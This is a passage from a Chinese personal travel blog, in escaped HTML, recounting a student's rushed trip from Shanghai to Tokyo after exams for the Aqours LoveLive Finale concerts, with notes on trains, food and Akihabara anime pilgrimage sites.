&lt;ul&gt;
&lt;li&gt;Aqours Finale LoveLive Day2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;0623&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2225 航班预计起飞 东京成田&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;0624&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;（UTC-8）0050 航班预计落地 上海浦东
&lt;ul&gt;
&lt;li&gt;1345-1545 计算机组成原理 考试&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体实施上，如何从杭州赶到浦东会是第一个问题。由于考试后赶到杭州东还需时间，从杭州东赶到上海虹桥更要时间，这里最开始的打算是机场大巴。&lt;/p&gt;
&lt;h2&gt;Day 0&lt;/h2&gt;
&lt;p&gt;上午先前往学校附近的工行换汇，果然还是现金让人安心呢。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250620_071144101.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;40000 日元在手的安心感&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;同行人早上就到了日本，那么让我怀着激动的心情，开始考试。&lt;/p&gt;
&lt;p&gt;计算机网络背各种各样杂七杂八的东西背到天昏地暗，然后卷子倒是非常友好，背到的都没考。一出考场发现有个大题好像写错的和作业一模一样，可喜可贺可喜可贺。&lt;/p&gt;
&lt;p&gt;然后就是激动人心的最优化，连续部分的作业我熬夜重做了一遍，离散部分的就相信自己的算法竞赛功底了，然后一上考场发现依旧很友好，感谢老师。&lt;/p&gt;
&lt;p&gt;一出考场大家都在锐评卷子，而我要开始战斗了。&lt;/p&gt;
&lt;p&gt;当务之急是重新确认到杭州东的时间，比预计的会早 15min，这给改签留下了时间。确定有一班能够在 2153 到上海虹桥的，可以一试机场联络线。遂改签。&lt;/p&gt;
&lt;p&gt;一路狂奔上了车，等车一发车发现自己上错了车厢，而且错的很远，被车钩隔开了。只能当自己是无座随便找个地方猫着。下车更是狂奔，看到路上也有和我一样跑的，看起来不止我一个人有这种想法，最后成功赶上。&lt;/p&gt;
&lt;p&gt;在浦东一路走到值机柜台，发现还不给值机。于是只能随机游走到值机时间附近过去排队，值机后就是激动人心的过海关环节。然后发现其实相比较国内出发，除了排队的人里有巨量外国人，也就多了个按指纹的环节。&lt;/p&gt;
&lt;h2&gt;Day 1&lt;/h2&gt;
&lt;p&gt;进去后开始坐牢，复习了一会儿感觉已经神智不清了。由于只有一个人还不敢睡觉，就只能在里面到处乱晃。登机后就开始日中英三语说些杂七杂八的，倒是感觉第一次见手动带实物演示的安全须知，这就是春秋的代价吗。&lt;/p&gt;
&lt;p&gt;本来想飞机上睡觉的，结果睡不着。只能对着天花板思考人生，想着些乱七八糟的东西。虽然通过文化作品和各种各样的网帖对日本有些许了解，但是真的要到了却又感觉分外慌张。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250620_180225645.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;再见，上海&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;落地成田天已经亮了。虽然一路几乎没睡，但是我的心情也来到了早上，打开手机发现时间也切换到了东京时间。&lt;/p&gt;
&lt;p&gt;然后怀着激动的心情打开买的 eSIM，发现没网。冷静一下发现我的 APN 设置被刷掉了！不过好在成田有免费 Wi-FI，连接免费 Wi-Fi 后出示二维码入关。&lt;/p&gt;
&lt;p&gt;外国人入境的队伍巨长，大概排了半个小时。入关处要按双手指纹，一开始没有理解，好在工作人员也算耐心。之后随便走几步就到了一楼，根据导引往车站的方向走，很快就到车站了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250620_221551459.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;成田机场一角&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到车站后发现有好几个走向不同系统（？）的检票口，于是首要问题就是 -- 走哪个闸。&lt;/p&gt;
&lt;p&gt;一开始我是想刷公交卡的，但是随后我发现我手机 Suica 充值不能。因为充值需要收 SMS，我大陆卡没开漫游，显然收不到。然后我发现开漫游也要收验证码…… 那就考虑买实体卡，然后发现太早了，实体卡售卖处没开门。&lt;/p&gt;
&lt;p&gt;看起来公交卡是无缘了，那就只能考虑买票。买票就要分段买了，乘车票自然是好买的，郑重的放入手中的 10000 日元后就能吐出来了。但是此时就会有一个疑问，乘坐 Express 要加钱吗？但是票机上没有这个选项。我决定大胆开冲，直接入闸，结果发现要入两次闸。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250620_231447796.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这票还挺小巧的，而且检票机过的飞快&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;上车坐定后开始怀疑自己坐得车是否正确。当时的我还在跟随咕咕噜地图，尚且不能区分 Local 和 Express 停车的区别。于是疯狂确认屏显的下一站是否到了。&lt;/p&gt;
&lt;p&gt;在有惊无险地到了换乘站后，出站，买下一段的票。机器支持中文（其实没有什么用），看到贯通运营的时候我的大脑还是过载了。我反复确认了我要做的剩下两条线都可以通过一班车直达，遂上站台确认车次后乘车。（随后注意到这条线没有中文报站了，放下的心又悬起来了）&lt;/p&gt;
&lt;p&gt;到达门前仲町后，还需步行一段距离才能到酒店。此时我的心情自然是非常忐忑的，总算有人能说中文了，我都已经在怀疑中文是不是异世界语言了。到了之后询问大家的安排，另外几人都想去新宿看那个超级横屏 Aqours 广告。我虽惊魂未定，但整理一翻后也跟过去了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_010247076.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;酒店这个去静电的小细节有点好玩&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到车站的路上（刻意）经过了一家全家，因为里面有卖联动贴纸，买两瓶果冻送一个贴纸。我看了一下没有 CYaRon 就先放弃了。&lt;/p&gt;
&lt;p&gt;去新宿站的路上买了张 PASSMO，但是果然还是想要 Suica！一个很难评的事情是换乘站似乎就在靖国神社旁边，虽然我和同行人都先注意到了海报上的零式就是了。到了新宿站大家开始疯狂找屏幕在哪里，尽管有各种情报，尽管问了好几次路人，到最后还是接近绕了一圈才找到。不过我倒是因祸得福，买到了 Suica。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_042153333.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;JR 新宿&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了大屏一看发现人们在排队看大屏，我绷不住了，这队谁爱排谁排，我上顿饭还在考计网之前，我要先吃饭。&lt;/p&gt;
&lt;p&gt;我选择直接进到队尾旁的咖喱店，一进去问店员如何注文，她给我指路门口的点单机，在各种漫画番剧里见到过不少次的东西也是给我用上了。随着本心点完饭，如愿以偿的吃到日式咖喱。那个奇怪的炸饼我非常喜欢，土豆和肉的口感结合在一起非常好，然后有人告诉我这就是可乐饼，看起来霓虹的可乐饼还是对一些。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_045438881.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;咖喱！至少比国内食其家好吃多了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;吃完咖喱出来发现队也散了，真是神奇。在那大屏前驻了半分钟发现泪腺绷不住了，遂退到远点的地方看。大家看够了后决定集合去吃一家拉面店，那也算圆另一个梦了。上去点完单店员用日语给我报了一串数字，成功给我干宕机了，不过好在有人给我翻译了一下。&lt;/p&gt;
&lt;p&gt;拉面相对而言就不是那么惊艳了，而是纯粹的很有特色。面上并没有特殊的功夫，汤头倒是分外不错。为了完（成）整（为）体（大）验（叔），我还点了一瓶朝日啤酒。啤酒倒是比乌苏好喝太多了，几乎没有苦味，不过果然我还是喝不来酒。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_052709252.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个面其实是非常普通的细面，面本身真的相当一般&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;再不前往西武巨蛋恐怕就要赶不上 Live 了，我们跟随某位同行人的导航上了车，然后成功在错误的地方下了车。一出站就看到人山人海啊，然后就往入口处挤。还遇到两位欧美友人，同行人问他们你觉得我们从哪里来，他们说我们应该是中国人，因为我们「speak some Chinese-like language」，给我整乐了。&lt;/p&gt;
&lt;p&gt;一入场之后泪腺突然一下就绷不住了，为了这趟也算是谋划依旧，来日本跑现地和圣地巡礼也自然是长久以来的愿望，真的进场有强烈的不真实感（这个说法怎么这么俗啊kora）。进场上后疯狂问士大夫我们应该从哪里进场，反复确认后进场坐定算是刚好赶上开场。由于场贩棒子已经切（当时售罄）了，我只能将我的棒子分给同行人一个。打了一会儿发现自己的棒子没电了，只能接着充电宝，一手拿着充电宝一手挥棒。&lt;/p&gt;
&lt;p&gt;Live 本身当然是相当享受了，虽然半首歌和时长大家有诸多不满，那个沙漏在那漏啊漏也属实搞心态。但是能够在如此靠前的位置听到 Aqours 的大家唱歌，和作为彩虹光路的一员的感动大大冲散了这些不满。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_080903774.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;开场前照片&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_104841339.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;彩虹光路&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;Live 过程中放了千歌一行跑到秋叶原巡礼的过程，这让我觉得无论如何都应该去一趟秋叶原。白天也确实注意到了秋叶原距离酒店不远。&lt;/p&gt;
&lt;p&gt;规制散场出来之后先去全家补给，转了一圈连矿泉水和宝矿力都没有，倒是看到了储备米的牌子。最后含泪买了盒哈根达斯，发现出乎意料的便宜。然后就是漫长的等车环节，大家分外热闹，我倒是在角落发呆。上车之后就是各种各样的欢声笑语，到了东京站已经快 1 点了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_121832827.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;古古古古米&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;Day 2&lt;/h2&gt;
&lt;p&gt;在这么一场 Live 过后（说到底，日式 Live 感觉真消耗体力吧），我们自然还是想吃顿饭的。但是转了一圈也没找到吃的，最后找到了 -- 24 小时营业的 sukiya。那谈这个我就很熟悉了，我学校旁就有一家啊。本着吃点不一样的食其家的想法，我买了一份秋葵拌饭。做好了吃黑暗料理的准备，结果倒是分外爽口，吃爽了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250621_162748637.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;食其家秋葵拌饭&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;从东京站走回酒店的路还是很漫长的，大概三四个街区，还要过一个桥。刚好也能感受一下门前仲町附近的氛围。路过罗森时同行跟我说有过气页游联动的饼干，内封联动卡片，我说这能不冲，就去买了两盒。倒是没抽到特别想要的就是了。&lt;/p&gt;
&lt;p&gt;到了酒店就是收拾和规划。酒店有泡澡的环境，但是我感觉我泡进去就会睡着，果断放弃。同行也想去秋叶原，但是也想去东京塔，我规划了一下发现都还算近，可以兼得。&lt;/p&gt;
&lt;p&gt;没睡几个小时就起来准备出发，先去东京塔。东京塔出站后很快就到了，同行人完成了少女歌剧的圣地巡礼后，下一步就是 Akihabara 秋叶原！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_011913370.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;仰视东京塔&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;尽管有走其他铁路的换乘方式，但我还是强烈 push 选择了坐 JR 去秋叶原，来霓虹不坐 JR 感觉很亏啊！而且路上还经过了一家贴纸很全的全家，拿到了贴纸和信封。（但是这个果冻真的好难吃，最后直接扔了。）&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_013616613.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;其实在前一家全家完全没有这个信封，算是因祸得福吗？&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;电车一开进秋叶原就看到了 UTX 高中的原型，但是我一开始没有想起来名字。我疯狂的拉着同行人指着那个建筑物，但是他愣了好几秒才反应过来是 UTX 高中。一下车就奔着 UTX 高中狂奔（感觉瞬间渡边曜附体了），我们一上去就碰到了同样目的来这的人，还抱着他的孩子。他说这个孩子也喜欢 Aqours，非常的可爱！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_020042858.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;在车站就可以看到 UDX 大厦&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_020236914.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;无处不在的 Blue Archive 和 JR 秋叶原&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;我们在聊的时候同行人的帽子被吹飞了，原来 UTX 的风真的很大，怪不得动画里能吹散传单（笑）。看着帽子起飞，我的思绪也一同起飞了。可惜帽子没能滞空多久，不然感觉我又要哭了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_020449089.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个视角感觉真像成渡边曜了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;UTX 高中算是意外之喜，神田神社就是目标之中了。看了眼圣地巡礼的地图决定相信直觉，过去的时候经过了一家店，里面有不少价格不错的手办，只可惜行李限额不便携带，不然一定买上一个。进入神田神社的时候倒不是走楼梯，而是正门的坡。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_022738271.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;来都来了，不写个绘马实在说不过去。转了一圈才找到买的地方，还顺带买了个御守。在绘马上了写了些不很实际的 dream 后认真的挂了上去。参拜的地方人不多，我也上去有样学样参拜了一回，还本着尊敬的态度投了 500 日元的巨额硬币进去。也算是了了心中一个念想！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_022904207.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;大家的绘马果然还是拉拉占多&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;朝来时方向走就可以看到缪斯动画里那个著名楼梯了。同行人说来都来了应该跑一下，我觉得他说的很对。于是我俩放下包跑了一次，结果我竟然跑得出奇的快，要是体测的时候我也有着水准就好了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_024644587.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;神田神社楼梯 见到这个楼梯感觉心都漏调一拍了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;离开神田神社的时候总感觉有万千想法，最后鞠了一躬。&lt;/p&gt;
&lt;p&gt;去完神田神社还算有时间，我们决定去穗乃果家原型，还能经过妮可桥。本来想在妮可桥上放 Star Dash 的，不过不管怎么想还是公共场合，劝住了自己。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_032014771.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;请为需要帮助的 nico 让个家～&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_032426837.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;果果家原形&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;往回走的时候看到一堆人全身上下痛着星街彗星相关，本来想上去同好交流，然吾日语本当苦手，挣扎一番还是放弃了。同样能看到的还有超大的千歌。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_033140254.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;好大的千歌，虽然似乎是卖 LoveLive OCG 的&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;来了秋叶原，去骏河屋也是理所当然的。然后发现去骏河屋的路和去神田神社的路有几乎一致，白绕一圈。我们到的骏河屋非常小，不过有 6 层还是 7 层，逛了一圈是有不少好玩的，但也是由于行李限额放弃。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_033424197.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;果然电气街还是得有点电器，不过为什么没有长江储存（逃）&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_033508424.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;喜闻乐见的中门对狙&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;然后我去全家买水用于 Live 时的补给，同行人去全家旁的电看看有没有有趣的东西。我买完水也过去逛了一圈，发现几乎没有什么东方，倒是二楼有超级多的 CD，找到了一张巨便宜的中古「永遠フレンズ」。去结账的时候店员非常努力的给我解释这个 CD 没有侧封，问我是否介意，我理解了好几次才 get 到。讲道理都这个价格了谁还介意侧封啊 kora。&lt;/p&gt;
&lt;p&gt;去完之后同行说有个地方有少女歌剧的联动，我陪他去了一趟，那里旁边就是 Animate。真的非常非常想进去一次，但是时间已经不允许了，只能遗憾赶车。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_044009521.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;步行者天国这个说法好中二啊&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_051109955.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;最后还是看到了池袋的宣传图&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;第二次去西武巨蛋则算得上轻车熟路，也是给我坐上山手线了。到了之后被同行人孤零零的晾在一处，自闭了一会儿决定乱逛。到处的 Lions 队的宣传（这里是人家老家也很正常就是了），在一处有 Lions 海报亭子下找到了帮我们代购场贩的人。&lt;/p&gt;
&lt;p&gt;拿到了新的应援棒后心放下了一半。剩下就是进场时是否会被盘查了，所幸并无事故。第二天的位置也很好！我在场内复习祭祖时突然觉得天旋地转，才意识到自己除了早饭摸的几口再无进食。但是此时已经濒临开场，只能选择相信自己的身体。在开场后身体状态并无好转，只能一边补偿站不稳的自己一边凭借着肌肉记忆打 call，还是双刀流。此时无比后悔在秋叶原买的是纯净水而不是宝矿力。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_071356502.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;Day2 出征！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;Live 到 Miracle Wave 的时候我就绷不住了，water blue new world 更是直击心理防线，险些就要进入泣不成声的状态了。倒是这个时候身体状态开始恢复了（终于开始燃烧生命了是吧）。最后的 ed2 合唱感觉真的是台上台下一起爆哭，当时看到 anju 的那个动作直接从还能绷一点变成完全绷不住了，说到底这个动作也太犯规了吧！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/image-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Live 散场后还是惯例的等车，到了东京站还是老时间。&lt;/p&gt;
